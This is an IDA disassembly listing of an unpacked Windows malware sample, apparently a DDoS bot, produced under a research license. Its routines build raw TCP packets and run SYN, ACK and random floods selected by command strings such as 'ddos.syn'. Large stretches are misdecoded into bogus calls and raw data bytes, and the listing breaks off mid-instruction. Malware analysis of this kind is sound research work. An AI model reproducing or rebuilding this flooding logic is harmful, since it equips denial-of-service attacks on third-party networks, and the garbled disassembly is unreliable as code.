; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 4E572E3FAEAC3E82F58DBF7E45724FF9 ; File Name : u:\work\4e572e3faeac3e82f58dbf7e45724ff9_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0001E000 ( 122880.) ; Section size in file : 0001E000 ( 122880.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg000 segment para public 'CODE' use32 assume cs:seg000 ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; DATA XREF: seg000:0040EC3Bo var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call ds:dword_41F044 ; GetTickCount push eax call sub_4135FF lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013E9 push eax lea eax, [ebp+var_494] push offset unk_421040 push eax call sub_4135AD xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_401090 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_4110B0 add esp, 14h loc_401090: ; CODE XREF: start+6Ej lea eax, [ebp+var_494] push eax call sub_409615 push [ebp+var_290] call sub_413375 pop ecx pop ecx push esi call near ptr 0A70000h wait pop edi pop esi start endp ; sp-analysis failed loc_4010B2: ; CODE XREF: sub_4013E9+40p push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp-0B3h] mov [ebp-0B4h], bl rep stosd stosw stosb lea eax, [ebp-284h] push eax push 202h call ds:dword_42F680 test eax, eax jz short loc_4010F2 xor eax, eax jmp loc_4013E5 ; --------------------------------------------------------------------------- loc_4010F2: ; CODE XREF: seg000:004010E9j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_42F7AC cmp eax, 0FFFFFFFFh mov [ebp-20h], eax jz loc_4013DD push esi lea ecx, [ebp-40h] push 4 push ecx push 2 push ebx push eax mov [ebp-40h], edi call ds:dword_42F6E8 cmp eax, 0FFFFFFFFh jz loc_4013D3 push dword ptr [ebp+14h] mov word ptr [ebp-58h], 2 call ds:dword_42F708 mov esi, [ebp+8] push 28h mov [ebp-56h], ax mov [ebp-54h], esi mov byte ptr [ebp-34h], 45h call ds:dword_42F708 push dword ptr [ebp+14h] mov [ebp-32h], ax mov [ebp-30h], di mov [ebp-2Eh], bx mov byte ptr [ebp-2Ch], 80h mov byte ptr [ebp-2Bh], 6 mov [ebp-2Ah], bx mov [ebp-24h], esi call ds:dword_42F708 mov [ebp-12h], ax call sub_413609 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call ds:dword_42F708 push 12345678h mov [ebp-14h], ax call ds:dword_42F704 push offset aDdos_syn ; "ddos.syn" mov [ebp-10h], eax push dword ptr [ebp+10h] call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_4011C2 mov [ebp-0Ch], ebx mov byte ptr [ebp-7], 2 jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011C2: ; CODE XREF: seg000:004011B7j push offset aDdos_ack ; "ddos.ack" push dword ptr [ebp+10h] call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_4011DE mov [ebp-0Ch], ebx mov byte ptr [ebp-7], 10h jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011DE: ; CODE XREF: seg000:004011D3j push offset aDdos_random ; "ddos.random" push dword ptr [ebp+10h] call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_401216 call sub_413609 push 3 cdq pop ecx idiv ecx mov [ebp-0Ch], edx call sub_413609 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp-7], dl loc_401216: ; CODE XREF: seg000:004011C0j ; seg000:004011DCj ... push 4000h mov byte ptr [ebp-8], 50h call ds:dword_42F708 mov [ebp-6], ax lea eax, [ebp-48h] push eax mov [ebp-2], bx mov [ebp+10h], ebx call near ptr 0A70000h fisttp dword ptr [ebp-17AF1BBBh] mov ebp, 0D0066EDh push dword ptr [ebp-44h] mov eax, [ebp+18h] cdq push dword ptr [ebp-48h] push edx push eax call sub_413A60 add eax, [ebp-1Ch] push 14h pop esi adc edx, [ebp-18h] mov [ebp-3Ch], eax mov [ebp-38h], edx mov [ebp-4], bx call sub_413609 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ds:dword_42F708 mov [ebp-14h], ax call sub_413609 mov edi, eax shl edi, 10h call sub_413609 or edi, eax push edi call ds:dword_42F708 movzx eax, ax mov [ebp-10h], eax mov eax, [ebp+0Ch] inc dword ptr [ebp+0Ch] push eax call ds:dword_42F704 mov [ebp-28h], eax mov eax, [ebp-24h] push esi mov [ebp-74h], eax mov [ebp-70h], bl mov byte ptr [ebp-6Fh], 6 call ds:dword_42F708 mov [ebp-6Eh], ax mov eax, [ebp-28h] mov [ebp-78h], eax lea eax, [ebp-78h] push 20h push eax lea eax, [ebp-0B4h] push eax call sub_413690 lea eax, [ebp-14h] push esi push eax lea eax, [ebp-94h] push eax call sub_413690 lea eax, [ebp-0B4h] push 34h push eax call sub_408672 mov [ebp-4], ax lea eax, [ebp-34h] push esi push eax lea eax, [ebp-0B4h] push eax call sub_413690 lea eax, [ebp-14h] push esi push eax lea eax, [ebp-0A0h] push eax call sub_413690 push 4 lea eax, [ebp-8Ch] push ebx push eax call sub_413630 add esp, 44h lea eax, [ebp-0B4h] push 28h push eax call sub_408672 mov [ebp-2Ah], ax lea eax, [ebp-34h] push esi push eax lea eax, [ebp-0B4h] push eax call sub_413690 add esp, 14h lea eax, [ebp-58h] push 10h push eax push ebx lea eax, [ebp-0B4h] push 28h push eax push dword ptr [ebp-20h] call ds:dword_42F76C cmp eax, 0FFFFFFFFh jz short loc_4013A7 add [ebp+10h], eax lea eax, [ebp-1Ch] push eax call near ptr 0A70000h mov ah, 8Bh inc ebp call near ptr 800858CEh cmp al, 0Fh mov edx, cs ; --------------------------------------------------------------------------- db 0FEh dd 458BFFFFh, 0C4453BE4h, 0BDE92E73h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4013A7: ; CODE XREF: seg000:0040137Dj call ds:dword_42F69C push eax lea eax, [ebp-0F4h] push offset unk_42107C push eax call sub_4135AD lea eax, [ebp-0F4h] push eax call sub_409615 add esp, 10h jmp short loc_4013D3 ; --------------------------------------------------------------------------- mov ebx, [ebp+10h] loc_4013D3: ; CODE XREF: seg000:0040112Aj ; seg000:004013CEj push dword ptr [ebp-20h] call ds:dword_42F7A0 pop esi loc_4013DD: ; CODE XREF: seg000:0040110Dj call ds:dword_42F668 mov eax, ebx loc_4013E5: ; CODE XREF: seg000:004010EDj pop edi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_4013E9 proc near ; CODE XREF: start+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_408503 push [esp+10h+arg_4] mov esi, eax call sub_413B1F push [esp+14h+arg_C] mov ebx, eax call sub_413B1F mov edi, eax call sub_413609 cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call loc_4010B2 add esp, 20h test eax, eax jnz short loc_401438 push 1 pop eax loc_401438: ; CODE XREF: sub_4013E9+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013E9 endp ; --------------------------------------------------------------------------- loc_401447: ; DATA XREF: seg000:0040EE23o push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+8] push edi push 68h mov esi, eax pop ecx lea edi, [ebp-1BCh] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call ds:dword_42F788 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short near ptr loc_4014E1+1 call ds:dword_42F69C push eax lea eax, [ebp-3BCh] push offset unk_42121C push eax call sub_4135AD xor edi, edi add esp, 0Ch cmp [ebp-24h], edi jnz short loc_4014C5 push edi lea eax, [ebp-3BCh] push dword ptr [ebp-28h] push eax lea eax, [ebp-0B8h] push eax push dword ptr [ebp-1BCh] call sub_4110B0 add esp, 14h loc_4014C5: ; CODE XREF: seg000:004014A3j lea eax, [ebp-3BCh] push eax call sub_409615 push dword ptr [ebp-38h] call sub_413375 pop ecx pop ecx push edi call near ptr 0A70000h loc_4014E1: ; CODE XREF: seg000:00401481j arpl [ebp+46AF44Dh], cx push ecx xor edi, edi push 2 push edi push eax mov [ebp-0Ch], ebx call ds:dword_42F6E8 cmp eax, 0FFFFFFFFh jnz short near ptr loc_401558+1 call ds:dword_42F69C push eax lea eax, [ebp-3BCh] push offset unk_4211D0 push eax call sub_4135AD add esp, 0Ch cmp [ebp-24h], edi jnz short loc_40153C push edi lea eax, [ebp-3BCh] push dword ptr [ebp-28h] push eax lea eax, [ebp-0B8h] push eax push dword ptr [ebp-1BCh] call sub_4110B0 add esp, 14h loc_40153C: ; CODE XREF: seg000:0040151Aj lea eax, [ebp-3BCh] push eax call sub_409615 push dword ptr [ebp-38h] call sub_413375 pop ecx pop ecx push edi call near ptr 0A70000h loc_401558: ; CODE XREF: seg000:004014FAj lea eax, [di-1B8h] ; --------------------------------------------------------------------------- db 2 dup(0FFh), 50h dd 0F74815FFh, 0F8830042h, 8D5575FFh, 0FFFC4485h, 119C68FFh dd 0E8500042h, 12031h, 59DC7D39h, 57207559h, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FB10h, 8D14C483h, 0FFFC4485h, 66E850FFh, 0FF000080h dd 0BEE8C875h, 5900011Dh, 41E85759h, 8D0066EAh, 458D106Ah dd 0E85057E4h, 12064h, 660CC483h, 2E445C7h, 15FF5700h dd 42F708h, 0E6458966h, 0FE48858Dh, 0FF50FFFFh, 42F74815h dd 44358B00h, 890041F0h, 7D89E845h, 89D6FF08h, 0D6FFF845h dd 33F8452Bh, 3E8B9D2h, 0F1F70000h, 0FD0453Bh, 19487h dd 41C6800h, 5C60000h, 42DF18h, 815FF45h, 390042F7h, 0A366D47Dh dd 42DF1Ah, 1C1D8966h, 660042DFh, 0DF1E3D89h, 5C60042h dd 42DF20h, 211D8880h, 660042DFh, 0DF223D89h, 30740042h dd 11FB0E8h, 0C1D88B00h, 0A6E808E3h, 300011Fh, 8E3C1D8h dd 11F9CE8h, 0C1D80300h, 92E808E3h, 300011Fh, 89016AD8h dd 42DF241Dh, 18EB5B00h, 0FE44B5FFh, 8AE8FFFFh, 5900006Fh dd 4815FF50h, 0A30042F7h, 42DF24h, 0A3E8458Bh, 42DF28h dd 11F60E8h, 0B99900h, 0F7000001h, 2C1588F9h, 0E80042DFh dd 11F4Dh, 100B999h, 0F9F70000h, 0DF2D1588h, 3AE80042h dd 9900011Fh, 0F0B9h, 4006800h, 0F9F70000h, 2E3D8966h dd 660042DFh, 0DF321D89h, 66420042h, 0DF301589h, 12E80042h dd 9900011Fh, 0FFB9h, 52F9F700h, 42DF3468h, 1F26E800h dd 0C4830001h, 0E4458D0Ch, 5750106Ah, 41C68h, 0DF186800h dd 75FF0042h, 6C15FFFCh, 830042F7h, 874FFF8h, 0E90845FFh dd 0FFFFFECAh, 0FFFC75FFh, 42F7A015h, 9C15FF00h, 500042F6h dd 0FE48858Dh, 75FFFFFFh, 38685008h, 8D004211h, 0FFFC4485h dd 20068FFh, 0E8500000h, 123C6h, 3918C483h, 2075DC7Dh dd 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh dd 0FFFFFE44h, 0F927E8h, 14C48300h, 0FC44858Dh, 0E850FFFFh dd 7E7Dh, 0E8C875FFh, 11BD5h, 0E8575959h, 66E858h, 0FC75FF95h dd 0F7A015FFh, 458B0042h, 6BD23308h, 0C88B3CC0h, 0F70AE8C1h dd 0E9C1D075h, 8D505114h, 0FFFE4885h, 875FFFFh, 0C8858D50h dd 50FFFFFEh, 0FC44858Dh, 0D468FFFFh, 50004210h, 11DC4E8h dd 1CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 0F8A2E8FFh, 0C4830000h dd 44858D14h, 50FFFFFCh, 7DF8E8h, 0C875FF00h, 11B50E8h dd 57595900h, 66E7D3E8h db 0, 11h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40182E proc near ; DATA XREF: seg000:0040EB2Co var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401B7C push eax lea eax, [ebp+var_414] push offset dword_421264 push eax call sub_4135AD xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_4018AB push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_4110B0 add esp, 14h loc_4018AB: ; CODE XREF: sub_40182E+5Bj lea eax, [ebp+var_414] push eax call sub_409615 push [ebp+var_10] call sub_413375 pop ecx pop ecx push esi call near ptr 0A70000h cli pop edi pop esi sub_40182E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018CA proc near ; CODE XREF: sub_401B7C+3Cp var_284 = byte ptr -284h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = byte ptr -40h var_38 = dword ptr -38h var_32 = word ptr -32h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call ds:dword_42F680 test eax, eax jz short loc_40190A xor eax, eax jmp loc_401B78 ; --------------------------------------------------------------------------- loc_40190A: ; CODE XREF: sub_4018CA+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_42F7AC cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401B70 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call ds:dword_42F6E8 cmp eax, 0FFFFFFFFh jz loc_401B66 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_413630 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call ds:dword_42F708 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call ds:dword_42F708 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call ds:dword_42F708 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call ds:dword_42F708 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call near ptr 0A70000h repne lea eax, [ebp+var_8] push eax call near ptr 0A70000h jmp near ptr 8C048FDCh ; --------------------------------------------------------------------------- db 45h, 14h, 99h dd 52C075FFh, 2076E850h, 45030001h, 13F28BF8h, 4589FC75h dd 5D8966A8h, 1C0BE8DCh, 0B9990001h, 3E9h, 0C281F9F7h dd 3E8h, 815FF52h, 660042F7h, 0E8CC4589h, 11BEDh, 0E7C1F88Bh dd 1BE3E810h, 0F80B0001h, 815FF57h, 0F0042F7h, 4589C0B7h dd 0C458BD0h, 500C45FFh, 0F70415FFh, 146A0042h, 8BEC4589h dd 575FF045h, 888C4589h, 45C6905Dh, 15FF0691h, 42F708h dd 92458966h, 89EC458Bh, 458D8845h, 50206A88h, 0FF4C858Dh dd 0E850FFFFh, 11C18h, 57CC458Dh, 6C858D50h, 50FFFFFFh dd 11C07E8h, 4C858D00h, 6AFFFFFFh, 0DBE85034h, 6600006Bh dd 8DDC4589h, 5057E045h, 0FF4C858Dh, 0E850FFFFh, 11BE4h dd 57CC458Dh, 60858D50h, 50FFFFFFh, 11BD3E8h, 8D046A00h dd 0FFFF7485h, 0E85053FFh, 11B64h, 8D44C483h, 0FFFF4C85h dd 50286AFFh, 6B95E8h, 45896600h, 0E0458DEAh, 858D5057h dd 0FFFFFF4Ch, 1B9EE850h, 0C4830001h, 0B0458D14h, 5350106Ah dd 0FF4C858Dh, 286AFFFFh, 0F475FF50h, 0F76C15FFh, 0F8830042h dd 12774FFh, 458D1045h, 0E1E850F8h, 340066E4h, 3BFC458Bh dd 0F3C7FC6h, 0FFFEC88Ch, 0F8458BFFh, 73A8453Bh, 0FEBBE92Eh dd 15FFFFFFh, 42F69Ch, 0C858D50h, 68FFFFFFh, 4212A0h, 1A5BE850h dd 858D0001h, 0FFFFFF0Ch, 7AB7E850h, 0C4830000h, 8B03EB10h db 5Dh, 10h ; --------------------------------------------------------------------------- loc_401B66: ; CODE XREF: sub_4018CA+78j push [ebp+var_C] call ds:dword_42F7A0 pop esi loc_401B70: ; CODE XREF: sub_4018CA+5Bj call ds:dword_42F668 mov eax, ebx loc_401B78: ; CODE XREF: sub_4018CA+3Bj pop edi pop ebx leave retn sub_4018CA endp ; =============== S U B R O U T I N E ======================================= sub_401B7C proc near ; CODE XREF: sub_40182E+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_408503 push [esp+10h+arg_4] mov esi, eax call sub_413B1F push [esp+14h+arg_8] mov ebx, eax call sub_413B1F mov edi, eax call sub_413609 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4018CA add esp, 1Ch test eax, eax jnz short loc_401BC7 push 1 pop eax loc_401BC7: ; CODE XREF: sub_401B7C+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401B7C endp ; --------------------------------------------------------------------------- loc_401BD6: ; DATA XREF: seg000:0040DF79o push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+8] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp-240h] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp-9Fh] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp-0A0h], bl rep stosd stosw stosb mov edi, ds:dword_41F044 call edi ; dword_41F044 push eax call sub_4135FF pop ecx push 0FFh push 3 push 2 call ds:dword_42F788 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_401C9F call ds:dword_42F69C push eax lea eax, [ebp-440h] push offset dword_421428 push eax call sub_4135AD add esp, 0Ch cmp [ebp-0A8h], ebx jnz short loc_401C7F push ebx lea eax, [ebp-440h] push dword ptr [ebp-0ACh] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-240h] call sub_4110B0 add esp, 14h loc_401C7F: ; CODE XREF: seg000:00401C5Aj lea eax, [ebp-440h] push eax call sub_409615 push dword ptr [ebp-0BCh] call sub_413375 pop ecx pop ecx push ebx call near ptr 0A70000h movsd loc_401C9F: ; CODE XREF: seg000:00401C37j lea ecx, [ebp-34h] push 4 push ecx push 2 push ebx push eax mov [ebp-34h], esi call ds:dword_42F6E8 cmp eax, 0FFFFFFFFh jnz short near ptr loc_401D1C+1 call ds:dword_42F69C push eax lea eax, [ebp-440h] push offset dword_4213DC push eax call sub_4135AD add esp, 0Ch cmp [ebp-0A8h], ebx jnz short loc_401CFD push ebx lea eax, [ebp-440h] push dword ptr [ebp-0ACh] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-240h] call sub_4110B0 add esp, 14h loc_401CFD: ; CODE XREF: seg000:00401CD8j lea eax, [ebp-440h] push eax call sub_409615 push dword ptr [ebp-0BCh] call sub_413375 pop ecx pop ecx push ebx call near ptr 0A70000h loc_401D1C: ; CODE XREF: seg000:00401CB5j sub [ebp-23B7Bh], cl call dword ptr [eax-1] adc eax, offset dword_42F748 cmp eax, 0FFFFFFFFh jnz short near ptr loc_401D8C+1 lea eax, [ebp-440h] push offset dword_4213A8 push eax call sub_4135AD cmp [ebp-0A8h], ebx pop ecx pop ecx jnz short loc_401D6D push ebx lea eax, [ebp-440h] push dword ptr [ebp-0ACh] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-240h] call sub_4110B0 add esp, 14h loc_401D6D: ; CODE XREF: seg000:00401D48j lea eax, [ebp-440h] push eax call sub_409615 push dword ptr [ebp-0BCh] call sub_413375 pop ecx pop ecx push ebx call near ptr 0A70000h loc_401D8C: ; CODE XREF: seg000:00401D2Dj mov ecx, 458D106Ah mov esp, 97E85053h sbb [ecx], al add [ebx-3899F33Ch], al inc ebp mov esp, 0FF530002h adc eax, offset dword_42F708 mov [ebp-42h], ax lea eax, [ebp-23Ch] push eax call ds:dword_42F748 mov [ebp-40h], eax mov [ebp+8], ebx call edi ; dword_41F044 mov [ebp-30h], eax loc_401DC5: ; CODE XREF: seg000:00402006j call edi ; dword_41F044 sub eax, [ebp-30h] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp-0B4h] ja near ptr loc_402088+1 push 28h mov byte ptr [ebp-2Ch], 45h call ds:dword_42F708 cmp [ebp-0B0h], ebx mov [ebp-2Ah], ax mov [ebp-28h], si mov [ebp-26h], bx mov byte ptr [ebp-24h], 80h mov byte ptr [ebp-23h], 6 mov [ebp-22h], bx jz short loc_401E38 call sub_413609 mov esi, eax shl esi, 8 call sub_413609 add esi, eax shl esi, 8 call sub_413609 add esi, eax shl esi, 8 call sub_413609 add esi, eax push 1 mov [ebp-20h], esi pop esi jmp short loc_401E4E ; --------------------------------------------------------------------------- loc_401E38: ; CODE XREF: seg000:00401E09j push dword ptr [ebp-240h] call sub_408619 pop ecx push eax call ds:dword_42F748 mov [ebp-20h], eax loc_401E4E: ; CODE XREF: seg000:00401E36j mov eax, [ebp-40h] cmp [ebp-0B8h], ebx mov [ebp-1Ch], eax jnz short loc_401E6C call sub_413609 cdq mov ecx, 401h idiv ecx push edx jmp short loc_401E72 ; --------------------------------------------------------------------------- loc_401E6C: ; CODE XREF: seg000:00401E5Aj push dword ptr [ebp-0B8h] loc_401E72: ; CODE XREF: seg000:00401E6Aj call ds:dword_42F708 mov [ebp-16h], ax call sub_413609 cdq mov ecx, 401h idiv ecx push edx call ds:dword_42F708 push 12345678h mov [ebp-18h], ax call ds:dword_42F704 mov [ebp-14h], eax lea eax, [ebp-1BCh] push offset aSyn ; "syn" push eax call sub_413B80 pop ecx test eax, eax pop ecx jz short loc_401EC2 mov [ebp-10h], ebx mov byte ptr [ebp-0Bh], 2 jmp short loc_401F1E ; --------------------------------------------------------------------------- loc_401EC2: ; CODE XREF: seg000:00401EB7j lea eax, [ebp-1BCh] push offset aAck ; "ack" push eax call sub_413B80 pop ecx test eax, eax pop ecx jz short loc_401EE2 mov [ebp-10h], ebx mov byte ptr [ebp-0Bh], 10h jmp short loc_401F1E ; --------------------------------------------------------------------------- loc_401EE2: ; CODE XREF: seg000:00401ED7j lea eax, [ebp-1BCh] push offset aRandom ; "random" push eax call sub_413B80 pop ecx test eax, eax pop ecx jz short loc_401F1E call sub_413609 push 3 cdq pop ecx idiv ecx mov [ebp-10h], edx call sub_413609 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp-0Bh], dl loc_401F1E: ; CODE XREF: seg000:00401EC0j ; seg000:00401EE0j ... push 200h mov byte ptr [ebp-0Ch], 50h call ds:dword_42F708 mov [ebp-0Ah], ax mov eax, [ebp-20h] mov [ebp-64h], eax mov eax, [ebp-1Ch] push 14h mov [ebp-6], bx mov [ebp-8], bx mov [ebp-60h], eax mov [ebp-5Ch], bl mov byte ptr [ebp-5Bh], 6 call ds:dword_42F708 mov [ebp-5Ah], ax lea eax, [ebp-64h] push 20h push eax lea eax, [ebp-0A0h] push eax call sub_413690 lea eax, [ebp-18h] push 14h push eax lea eax, [ebp-80h] push eax call sub_413690 lea eax, [ebp-0A0h] push 34h push eax call sub_408672 mov [ebp-8], ax lea eax, [ebp-2Ch] push 14h push eax lea eax, [ebp-0A0h] push eax call sub_413690 lea eax, [ebp-18h] push 14h push eax lea eax, [ebp-8Ch] push eax call sub_413690 push 4 lea eax, [ebp-78h] push ebx push eax call sub_413630 add esp, 44h lea eax, [ebp-0A0h] push 28h push eax call sub_408672 mov [ebp-22h], ax lea eax, [ebp-2Ch] push 14h push eax lea eax, [ebp-0A0h] push eax call sub_413690 add esp, 14h lea eax, [ebp-44h] push 10h push eax push ebx lea eax, [ebp-0A0h] push 3Ch push eax push dword ptr [ebp-4] call ds:dword_42F76C cmp eax, 0FFFFFFFFh jz short loc_40200B inc dword ptr [ebp+8] jmp loc_401DC5 ; --------------------------------------------------------------------------- loc_40200B: ; CODE XREF: seg000:00402001j push dword ptr [ebp-4] call ds:dword_42F7A0 call ds:dword_42F69C push eax lea eax, [ebp-23Ch] push dword ptr [ebp+8] push eax push offset dword_421334 lea eax, [ebp-440h] push 200h push eax call sub_413B2A add esp, 18h cmp [ebp-0A8h], ebx jnz short loc_402069 push ebx lea eax, [ebp-440h] push dword ptr [ebp-0ACh] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-240h] call sub_4110B0 add esp, 14h loc_402069: ; CODE XREF: seg000:00402044j lea eax, [ebp-440h] push eax call sub_409615 push dword ptr [ebp-0BCh] call sub_413375 pop ecx pop ecx push ebx call near ptr 0A70000h loc_402088: ; CODE XREF: seg000:00401DD9j mov ds:0FFFC75FFh, al adc eax, offset dword_42F7A0 mov eax, [ebp+8] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div dword ptr [ebp-0B4h] shr ecx, 14h push ecx push eax lea eax, [ebp-23Ch] push dword ptr [ebp+8] push eax lea eax, [ebp-1BCh] push eax lea eax, [ebp-440h] push offset dword_4212D0 push eax call sub_4135AD add esp, 1Ch cmp [ebp-0A8h], ebx jnz short loc_4020FA push ebx lea eax, [ebp-440h] push dword ptr [ebp-0ACh] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-240h] call sub_4110B0 add esp, 14h loc_4020FA: ; CODE XREF: seg000:004020D5j lea eax, [ebp-440h] push eax call sub_409615 push dword ptr [ebp-0BCh] call sub_413375 pop ecx pop ecx push ebx call near ptr 0A70000h xor al, 55h ; CODE XREF: sub_4021FB+B4p ; sub_4021FB+253p mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax call ds:dword_41F054 ; GetLocalTime lea eax, [ebp-114h] push 104h push eax call near ptr 0A70000h sbb [ebp-1137Bh], ecx jmp fword ptr [eax+20h] ; --------------------------------------------------------------------------- sbb al, 42h add [eax-18h], dl jg short near ptr loc_402168+2 add [eax], eax lea eax, [ebp-114h] push offset dword_42829C push eax call sub_413CD0 lea eax, [ebp-114h] loc_402168: ; CODE XREF: seg000:0040214Dj push offset aAb ; "ab" push eax call sub_413CA8 mov esi, eax add esp, 18h test esi, esi jnz short loc_402181 push 1 pop eax jmp short loc_4021F8 ; --------------------------------------------------------------------------- loc_402181: ; CODE XREF: seg000:0040217Aj movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, 